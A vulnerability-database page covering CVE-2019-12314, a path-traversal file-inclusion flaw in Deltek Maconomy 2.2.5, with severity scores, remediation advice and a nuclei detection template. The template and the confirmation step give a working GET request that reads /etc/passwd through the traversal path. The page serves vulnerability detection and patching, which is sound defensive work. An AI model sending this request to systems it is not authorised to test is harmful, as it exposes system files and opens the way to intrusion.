HexBrain

Browse / CVEs / CVE-2019-12314

CVE-2019-12314· deltek / maconomy· CWE-22

Deltek Maconomy 2.2.5 - Local File Inclusion

criticalseverity
9.8CVSS score
83.8%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Deltek Maconomy 2.2.5 is prone to local file inclusion via absolute path traversal in the WS.macx1.W_MCS/ PATH_INFO, as demonstrated by a cgi-bin/Maconomy/MaconomyWS.macx1.W_MCS/etc/passwd URI.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, remote code execution, or even a complete compromise of the affected system.

Fix

Apply the latest security patches or updates provided by the vendor to fix the LFI vulnerability in Deltek Maconomy 2.2.5.

How to confirm it

Send: GET {{BaseURL}}/cgi-bin/Maconomy/MaconomyWS.macx1.W_MCS//etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2019-12314 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2019-12314

info:
  name: Deltek Maconomy 2.2.5 - Local File Inclusion
  author: madrobot
  severity: critical
  description: Deltek Maconomy 2.2.5 is prone to local file inclusion via absolute path traversal in the WS.macx1.W_MCS/ PATH_INFO, as demonstrated by a cgi-bin/Maconomy/MaconomyWS.macx1.W_MCS/etc/passwd URI.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, remote code execution, or even a complete compromise of the affected system.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the LFI vulnerability in Deltek Maconomy 2.2.5.
  reference:
    - http://packetstormsecurity.com/files/153079/Deltek-Maconomy-2.2.5-Local-File-Inclusion.html
    - https://github.com/ras313/CVE-2019-12314/security/advisories/GHSA-8762-rf4g-23xm
    - https://github.com/JameelNabbo/exploits/blob/master/Maconomy%20Erp%20local%20file%20include.txt
    - https://github.com/merlinepedra25/nuclei-templates
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-12314
    cwe-id: CWE-22
    epss-score: 0.8382
    epss-percentile: 0.99692
    cpe: cpe:2.3:a:deltek:maconomy:2.2.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: deltek
    product: maconomy
  tags: cve,cve2019,lfi,packetstorm,deltek,vuln,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/Maconomy/MaconomyWS.macx1.W_MCS//etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from